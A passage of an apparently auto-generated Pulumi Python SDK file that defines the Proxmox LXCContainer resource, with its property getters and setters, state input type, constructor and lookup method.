@networks.setter
def networks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]]):
pulumi.set(self, "networks", value)
@property
@pulumi.getter
def onboot(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "onboot")
@onboot.setter
def onboot(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "onboot", value)
@property
@pulumi.getter
def ostemplate(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ostemplate")
@ostemplate.setter
def ostemplate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ostemplate", value)
@property
@pulumi.getter
def ostype(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ostype")
@ostype.setter
def ostype(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ostype", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter
def pool(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "pool")
@pool.setter
def pool(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "pool", value)
@property
@pulumi.getter
def protection(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "protection")
@protection.setter
def protection(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "protection", value)
@property
@pulumi.getter
def restore(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "restore")
@restore.setter
def restore(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "restore", value)
@property
@pulumi.getter
def rootfs(self) -> Optional[pulumi.Input['LXCContainerRootfsArgs']]:
return pulumi.get(self, "rootfs")
@rootfs.setter
def rootfs(self, value: Optional[pulumi.Input['LXCContainerRootfsArgs']]):
pulumi.set(self, "rootfs", value)
@property
@pulumi.getter
def searchdomain(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "searchdomain")
@searchdomain.setter
def searchdomain(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "searchdomain", value)
@property
@pulumi.getter(name="sshPublicKeys")
def ssh_public_keys(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ssh_public_keys")
@ssh_public_keys.setter
def ssh_public_keys(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ssh_public_keys", value)
@property
@pulumi.getter
def start(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "start")
@start.setter
def start(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "start", value)
@property
@pulumi.getter
def startup(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "startup")
@startup.setter
def startup(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "startup", value)
@property
@pulumi.getter
def swap(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "swap")
@swap.setter
def swap(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "swap", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter
def template(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "template")
@template.setter
def template(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "template", value)
@property
@pulumi.getter
def tty(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "tty")
@tty.setter
def tty(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "tty", value)
@property
@pulumi.getter
def unique(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "unique")
@unique.setter
def unique(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "unique", value)
@property
@pulumi.getter
def unprivileged(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "unprivileged")
@unprivileged.setter
def unprivileged(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "unprivileged", value)
@property
@pulumi.getter
def vmid(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "vmid")
@vmid.setter
def vmid(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "vmid", value)
@pulumi.input_type
class _LXCContainerState:
def __init__(__self__, *,
arch: Optional[pulumi.Input[str]] = None,
bwlimit: Optional[pulumi.Input[int]] = None,
clone: Optional[pulumi.Input[str]] = None,
clone_storage: Optional[pulumi.Input[str]] = None,
cmode: Optional[pulumi.Input[str]] = None,
console: Optional[pulumi.Input[bool]] = None,
cores: Optional[pulumi.Input[int]] = None,
cpulimit: Optional[pulumi.Input[int]] = None,
cpuunits: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
features: Optional[pulumi.Input['LXCContainerFeaturesArgs']] = None,
force: Optional[pulumi.Input[bool]] = None,
full: Optional[pulumi.Input[bool]] = None,
hagroup: Optional[pulumi.Input[str]] = None,
hastate: Optional[pulumi.Input[str]] = None,
hookscript: Optional[pulumi.Input[str]] = None,
hostname: Optional[pulumi.Input[str]] = None,
ignore_unpack_errors: Optional[pulumi.Input[bool]] = None,
lock: Optional[pulumi.Input[str]] = None,
memory: Optional[pulumi.Input[int]] = None,
mountpoints: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]] = None,
nameserver: Optional[pulumi.Input[str]] = None,
networks: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]] = None,
onboot: Optional[pulumi.Input[bool]] = None,
ostemplate: Optional[pulumi.Input[str]] = None,
ostype: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
pool: Optional[pulumi.Input[str]] = None,
protection: Optional[pulumi.Input[bool]] = None,
restore: Optional[pulumi.Input[bool]] = None,
rootfs: Optional[pulumi.Input['LXCContainerRootfsArgs']] = None,
searchdomain: Optional[pulumi.Input[str]] = None,
ssh_public_keys: Optional[pulumi.Input[str]] = None,
start: Optional[pulumi.Input[bool]] = None,
startup: Optional[pulumi.Input[str]] = None,
swap: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[str]] = None,
target_node: Optional[pulumi.Input[str]] = None,
template: Optional[pulumi.Input[bool]] = None,
tty: Optional[pulumi.Input[int]] = None,
unique: Optional[pulumi.Input[bool]] = None,
unprivileged: Optional[pulumi.Input[bool]] = None,
unuseds: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
vmid: Optional[pulumi.Input[int]] = None):
"""
Input properties used for looking up and filtering LXCContainer resources.
"""
if arch is not None:
pulumi.set(__self__, "arch", arch)
if bwlimit is not None:
pulumi.set(__self__, "bwlimit", bwlimit)
if clone is not None:
pulumi.set(__self__, "clone", clone)
if clone_storage is not None:
pulumi.set(__self__, "clone_storage", clone_storage)
if cmode is not None:
pulumi.set(__self__, "cmode", cmode)
if console is not None:
pulumi.set(__self__, "console", console)
if cores is not None:
pulumi.set(__self__, "cores", cores)
if cpulimit is not None:
pulumi.set(__self__, "cpulimit", cpulimit)
if cpuunits is not None:
pulumi.set(__self__, "cpuunits", cpuunits)
if description is not None:
pulumi.set(__self__, "description", description)
if features is not None:
pulumi.set(__self__, "features", features)
if force is not None:
pulumi.set(__self__, "force", force)
if full is not None:
pulumi.set(__self__, "full", full)
if hagroup is not None:
pulumi.set(__self__, "hagroup", hagroup)
if hastate is not None:
pulumi.set(__self__, "hastate", hastate)
if hookscript is not None:
pulumi.set(__self__, "hookscript", hookscript)
if hostname is not None:
pulumi.set(__self__, "hostname", hostname)
if ignore_unpack_errors is not None:
pulumi.set(__self__, "ignore_unpack_errors", ignore_unpack_errors)
if lock is not None:
pulumi.set(__self__, "lock", lock)
if memory is not None:
pulumi.set(__self__, "memory", memory)
if mountpoints is not None:
pulumi.set(__self__, "mountpoints", mountpoints)
if nameserver is not None:
pulumi.set(__self__, "nameserver", nameserver)
if networks is not None:
pulumi.set(__self__, "networks", networks)
if onboot is not None:
pulumi.set(__self__, "onboot", onboot)
if ostemplate is not None:
pulumi.set(__self__, "ostemplate", ostemplate)
if ostype is not None:
pulumi.set(__self__, "ostype", ostype)
if password is not None:
pulumi.set(__self__, "password", password)
if pool is not None:
pulumi.set(__self__, "pool", pool)
if protection is not None:
pulumi.set(__self__, "protection", protection)
if restore is not None:
pulumi.set(__self__, "restore", restore)
if rootfs is not None:
pulumi.set(__self__, "rootfs", rootfs)
if searchdomain is not None:
pulumi.set(__self__, "searchdomain", searchdomain)
if ssh_public_keys is not None:
pulumi.set(__self__, "ssh_public_keys", ssh_public_keys)
if start is not None:
pulumi.set(__self__, "start", start)
if startup is not None:
pulumi.set(__self__, "startup", startup)
if swap is not None:
pulumi.set(__self__, "swap", swap)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if target_node is not None:
pulumi.set(__self__, "target_node", target_node)
if template is not None:
pulumi.set(__self__, "template", template)
if tty is not None:
pulumi.set(__self__, "tty", tty)
if unique is not None:
pulumi.set(__self__, "unique", unique)
if unprivileged is not None:
pulumi.set(__self__, "unprivileged", unprivileged)
if unuseds is not None:
pulumi.set(__self__, "unuseds", unuseds)
if vmid is not None:
pulumi.set(__self__, "vmid", vmid)
@property
@pulumi.getter
def arch(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "arch")
@arch.setter
def arch(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arch", value)
@property
@pulumi.getter
def bwlimit(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "bwlimit")
@bwlimit.setter
def bwlimit(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "bwlimit", value)
@property
@pulumi.getter
def clone(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "clone")
@clone.setter
def clone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "clone", value)
@property
@pulumi.getter(name="cloneStorage")
def clone_storage(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "clone_storage")
@clone_storage.setter
def clone_storage(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "clone_storage", value)
@property
@pulumi.getter
def cmode(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "cmode")
@cmode.setter
def cmode(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cmode", value)
@property
@pulumi.getter
def console(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "console")
@console.setter
def console(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "console", value)
@property
@pulumi.getter
def cores(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cores")
@cores.setter
def cores(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cores", value)
@property
@pulumi.getter
def cpulimit(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cpulimit")
@cpulimit.setter
def cpulimit(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cpulimit", value)
@property
@pulumi.getter
def cpuunits(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cpuunits")
@cpuunits.setter
def cpuunits(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cpuunits", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def features(self) -> Optional[pulumi.Input['LXCContainerFeaturesArgs']]:
return pulumi.get(self, "features")
@features.setter
def features(self, value: Optional[pulumi.Input['LXCContainerFeaturesArgs']]):
pulumi.set(self, "features", value)
@property
@pulumi.getter
def force(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "force")
@force.setter
def force(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force", value)
@property
@pulumi.getter
def full(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "full")
@full.setter
def full(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "full", value)
@property
@pulumi.getter
def hagroup(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hagroup")
@hagroup.setter
def hagroup(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hagroup", value)
@property
@pulumi.getter
def hastate(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hastate")
@hastate.setter
def hastate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hastate", value)
@property
@pulumi.getter
def hookscript(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hookscript")
@hookscript.setter
def hookscript(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hookscript", value)
@property
@pulumi.getter
def hostname(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hostname")
@hostname.setter
def hostname(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hostname", value)
@property
@pulumi.getter(name="ignoreUnpackErrors")
def ignore_unpack_errors(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "ignore_unpack_errors")
@ignore_unpack_errors.setter
def ignore_unpack_errors(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "ignore_unpack_errors", value)
@property
@pulumi.getter
def lock(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "lock")
@lock.setter
def lock(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "lock", value)
@property
@pulumi.getter
def memory(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "memory")
@memory.setter
def memory(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "memory", value)
@property
@pulumi.getter
def mountpoints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]]:
return pulumi.get(self, "mountpoints")
@mountpoints.setter
def mountpoints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]]):
pulumi.set(self, "mountpoints", value)
@property
@pulumi.getter
def nameserver(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "nameserver")
@nameserver.setter
def nameserver(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "nameserver", value)
@property
@pulumi.getter
def networks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]]:
return pulumi.get(self, "networks")
@networks.setter
def networks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]]):
pulumi.set(self, "networks", value)
@property
@pulumi.getter
def onboot(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "onboot")
@onboot.setter
def onboot(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "onboot", value)
@property
@pulumi.getter
def ostemplate(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ostemplate")
@ostemplate.setter
def ostemplate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ostemplate", value)
@property
@pulumi.getter
def ostype(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ostype")
@ostype.setter
def ostype(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ostype", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter
def pool(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "pool")
@pool.setter
def pool(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "pool", value)
@property
@pulumi.getter
def protection(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "protection")
@protection.setter
def protection(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "protection", value)
@property
@pulumi.getter
def restore(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "restore")
@restore.setter
def restore(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "restore", value)
@property
@pulumi.getter
def rootfs(self) -> Optional[pulumi.Input['LXCContainerRootfsArgs']]:
return pulumi.get(self, "rootfs")
@rootfs.setter
def rootfs(self, value: Optional[pulumi.Input['LXCContainerRootfsArgs']]):
pulumi.set(self, "rootfs", value)
@property
@pulumi.getter
def searchdomain(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "searchdomain")
@searchdomain.setter
def searchdomain(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "searchdomain", value)
@property
@pulumi.getter(name="sshPublicKeys")
def ssh_public_keys(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ssh_public_keys")
@ssh_public_keys.setter
def ssh_public_keys(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ssh_public_keys", value)
@property
@pulumi.getter
def start(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "start")
@start.setter
def start(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "start", value)
@property
@pulumi.getter
def startup(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "startup")
@startup.setter
def startup(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "startup", value)
@property
@pulumi.getter
def swap(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "swap")
@swap.setter
def swap(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "swap", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="targetNode")
def target_node(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "target_node")
@target_node.setter
def target_node(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_node", value)
@property
@pulumi.getter
def template(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "template")
@template.setter
def template(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "template", value)
@property
@pulumi.getter
def tty(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "tty")
@tty.setter
def tty(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "tty", value)
@property
@pulumi.getter
def unique(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "unique")
@unique.setter
def unique(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "unique", value)
@property
@pulumi.getter
def unprivileged(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "unprivileged")
@unprivileged.setter
def unprivileged(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "unprivileged", value)
@property
@pulumi.getter
def unuseds(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
return pulumi.get(self, "unuseds")
@unuseds.setter
def unuseds(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "unuseds", value)
@property
@pulumi.getter
def vmid(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "vmid")
@vmid.setter
def vmid(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "vmid", value)
class LXCContainer(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
arch: Optional[pulumi.Input[str]] = None,
bwlimit: Optional[pulumi.Input[int]] = None,
clone: Optional[pulumi.Input[str]] = None,
clone_storage: Optional[pulumi.Input[str]] = None,
cmode: Optional[pulumi.Input[str]] = None,
console: Optional[pulumi.Input[bool]] = None,
cores: Optional[pulumi.Input[int]] = None,
cpulimit: Optional[pulumi.Input[int]] = None,
cpuunits: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
features: Optional[pulumi.Input[pulumi.InputType['LXCContainerFeaturesArgs']]] = None,
force: Optional[pulumi.Input[bool]] = None,
full: Optional[pulumi.Input[bool]] = None,
hagroup: Optional[pulumi.Input[str]] = None,
hastate: Optional[pulumi.Input[str]] = None,
hookscript: Optional[pulumi.Input[str]] = None,
hostname: Optional[pulumi.Input[str]] = None,
ignore_unpack_errors: Optional[pulumi.Input[bool]] = None,
lock: Optional[pulumi.Input[str]] = None,
memory: Optional[pulumi.Input[int]] = None,
mountpoints: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerMountpointArgs']]]]] = None,
nameserver: Optional[pulumi.Input[str]] = None,
networks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerNetworkArgs']]]]] = None,
onboot: Optional[pulumi.Input[bool]] = None,
ostemplate: Optional[pulumi.Input[str]] = None,
ostype: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
pool: Optional[pulumi.Input[str]] = None,
protection: Optional[pulumi.Input[bool]] = None,
restore: Optional[pulumi.Input[bool]] = None,
rootfs: Optional[pulumi.Input[pulumi.InputType['LXCContainerRootfsArgs']]] = None,
searchdomain: Optional[pulumi.Input[str]] = None,
ssh_public_keys: Optional[pulumi.Input[str]] = None,
start: Optional[pulumi.Input[bool]] = None,
startup: Optional[pulumi.Input[str]] = None,
swap: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[str]] = None,
target_node: Optional[pulumi.Input[str]] = None,
template: Optional[pulumi.Input[bool]] = None,
tty: Optional[pulumi.Input[int]] = None,
unique: Optional[pulumi.Input[bool]] = None,
unprivileged: Optional[pulumi.Input[bool]] = None,
vmid: Optional[pulumi.Input[int]] = None,
__props__=None):
"""
Create a LXCContainer resource with the given unique name, props, and options.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: LXCContainerArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Create a LXCContainer resource with the given unique name, props, and options.
:param str resource_name: The name of the resource.
:param LXCContainerArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(LXCContainerArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
arch: Optional[pulumi.Input[str]] = None,
bwlimit: Optional[pulumi.Input[int]] = None,
clone: Optional[pulumi.Input[str]] = None,
clone_storage: Optional[pulumi.Input[str]] = None,
cmode: Optional[pulumi.Input[str]] = None,
console: Optional[pulumi.Input[bool]] = None,
cores: Optional[pulumi.Input[int]] = None,
cpulimit: Optional[pulumi.Input[int]] = None,
cpuunits: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
features: Optional[pulumi.Input[pulumi.InputType['LXCContainerFeaturesArgs']]] = None,
force: Optional[pulumi.Input[bool]] = None,
full: Optional[pulumi.Input[bool]] = None,
hagroup: Optional[pulumi.Input[str]] = None,
hastate: Optional[pulumi.Input[str]] = None,
hookscript: Optional[pulumi.Input[str]] = None,
hostname: Optional[pulumi.Input[str]] = None,
ignore_unpack_errors: Optional[pulumi.Input[bool]] = None,
lock: Optional[pulumi.Input[str]] = None,
memory: Optional[pulumi.Input[int]] = None,
mountpoints: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerMountpointArgs']]]]] = None,
nameserver: Optional[pulumi.Input[str]] = None,
networks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerNetworkArgs']]]]] = None,
onboot: Optional[pulumi.Input[bool]] = None,
ostemplate: Optional[pulumi.Input[str]] = None,
ostype: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
pool: Optional[pulumi.Input[str]] = None,
protection: Optional[pulumi.Input[bool]] = None,
restore: Optional[pulumi.Input[bool]] = None,
rootfs: Optional[pulumi.Input[pulumi.InputType['LXCContainerRootfsArgs']]] = None,
searchdomain: Optional[pulumi.Input[str]] = None,
ssh_public_keys: Optional[pulumi.Input[str]] = None,
start: Optional[pulumi.Input[bool]] = None,
startup: Optional[pulumi.Input[str]] = None,
swap: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[str]] = None,
target_node: Optional[pulumi.Input[str]] = None,
template: Optional[pulumi.Input[bool]] = None,
tty: Optional[pulumi.Input[int]] = None,
unique: Optional[pulumi.Input[bool]] = None,
unprivileged: Optional[pulumi.Input[bool]] = None,
vmid: Optional[pulumi.Input[int]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = LXCContainerArgs.__new__(LXCContainerArgs)
__props__.__dict__["arch"] = arch
__props__.__dict__["bwlimit"] = bwlimit
__props__.__dict__["clone"] = clone
__props__.__dict__["clone_storage"] = clone_storage
__props__.__dict__["cmode"] = cmode
__props__.__dict__["console"] = console
__props__.__dict__["cores"] = cores
__props__.__dict__["cpulimit"] = cpulimit
__props__.__dict__["cpuunits"] = cpuunits
__props__.__dict__["description"] = description
__props__.__dict__["features"] = features
__props__.__dict__["force"] = force
__props__.__dict__["full"] = full
__props__.__dict__["hagroup"] = hagroup
__props__.__dict__["hastate"] = hastate
__props__.__dict__["hookscript"] = hookscript
__props__.__dict__["hostname"] = hostname
__props__.__dict__["ignore_unpack_errors"] = ignore_unpack_errors
__props__.__dict__["lock"] = lock
__props__.__dict__["memory"] = memory
__props__.__dict__["mountpoints"] = mountpoints
__props__.__dict__["nameserver"] = nameserver
__props__.__dict__["networks"] = networks
__props__.__dict__["onboot"] = onboot
__props__.__dict__["ostemplate"] = ostemplate
__props__.__dict__["ostype"] = ostype
__props__.__dict__["password"] = password
__props__.__dict__["pool"] = pool
__props__.__dict__["protection"] = protection
__props__.__dict__["restore"] = restore
__props__.__dict__["rootfs"] = rootfs
__props__.__dict__["searchdomain"] = searchdomain
__props__.__dict__["ssh_public_keys"] = ssh_public_keys
__props__.__dict__["start"] = start
__props__.__dict__["startup"] = startup
__props__.__dict__["swap"] = swap
__props__.__dict__["tags"] = tags
if target_node is None and not opts.urn:
raise TypeError("Missing required property 'target_node'")
__props__.__dict__["target_node"] = target_node
__props__.__dict__["template"] = template
__props__.__dict__["tty"] = tty
__props__.__dict__["unique"] = unique
__props__.__dict__["unprivileged"] = unprivileged
__props__.__dict__["vmid"] = vmid
__props__.__dict__["unuseds"] = None
super(LXCContainer, __self__).__init__(
'proxmox:index/lXCContainer:LXCContainer',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
arch: Optional[pulumi.Input[str]] = None,
bwlimit: Optional[pulumi.Input[int]] = None,
clone: Optional[pulumi.Input[str]] = None,
clone_storage: Optional[pulumi.Input[str]] = None,
cmode: Optional[pulumi.Input[str]] = None,
console: Optional[pulumi.Input[bool]] = None,
cores: Optional[pulumi.Input[int]] = None,
cpulimit: Optional[pulumi.Input[int]] = None,
cpuunits: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
features: Optional[pulumi.Input[pulumi.InputType['LXCContainerFeaturesArgs']]] = None,
force: Optional[pulumi.Input[bool]] = None,
full: Optional[pulumi.Input[bool]] = None,
hagroup: Optional[pulumi.Input[str]] = None,
hastate: Optional[pulumi.Input[str]] = None,
hookscript: Optional[pulumi.Input[str]] = None,
hostname: Optional[pulumi.Input[str]] = None,
ignore_unpack_errors: Optional[pulumi.Input[bool]] = None,
lock: Optional[pulumi.Input[str]] = None,
memory: Optional[pulumi.Input[int]] = None,
mountpoints: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerMountpointArgs']]]]] = None,
nameserver: Optional[pulumi.Input[str]] = None,
networks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LXCContainerNetworkArgs']]]]] = None,
onboot: Optional[pulumi.Input[bool]] = None,
ostemplate: Optional[pulumi.Input[str]] = None,
ostype: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
pool: Optional[pulumi.Input[str]] = None,
protection: Optional[pulumi.Input[bool]] = None,
restore: Optional[pulumi.Input[bool]] = None,
rootfs: Optional[pulumi.Input[pulumi.InputType['LXCContainerRootfsArgs']]] = None,
searchdomain: Optional[pulumi.Input[str]] = None,
ssh_public_keys: Optional[pulumi.Input[str]] = None,
start: Optional[pulumi.Input[bool]] = None,
startup: Optional[pulumi.Input[str]] = None,
swap: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[str]] = None,
target_node: Optional[pulumi.Input[str]] = None,
template: Optional[pulumi.Input[bool]] = None,
tty: Optional[pulumi.Input[int]] = None,
unique: Optional[pulumi.Input[bool]] = None,
unprivileged: Optional[pulumi.Input[bool]] = None,
unuseds: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
vmid: Optional[pulumi.Input[int]] = None) -> 'LXCContainer':
"""
Get an existing LXCContainer resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _LXCContainerState.__new__(_LXCContainerState)
__props__.__dict__["arch"] = arch
__props__.__dict__["bwlimit"] = bwlimit
__props__.__dict__["clone"] = clone
__props__.__dict__["clone_storage"] = clone_storage
__props__.__dict__["cmode"] = cmode
__props__.__dict__["console"] = console
__props__.__dict__["cores"] = cores
__props__.__dict__["cpulimit"] = cpulimit
__props__.__dict__["cpuunits"] = cpuunits
__props__.__dict__["description"] = description
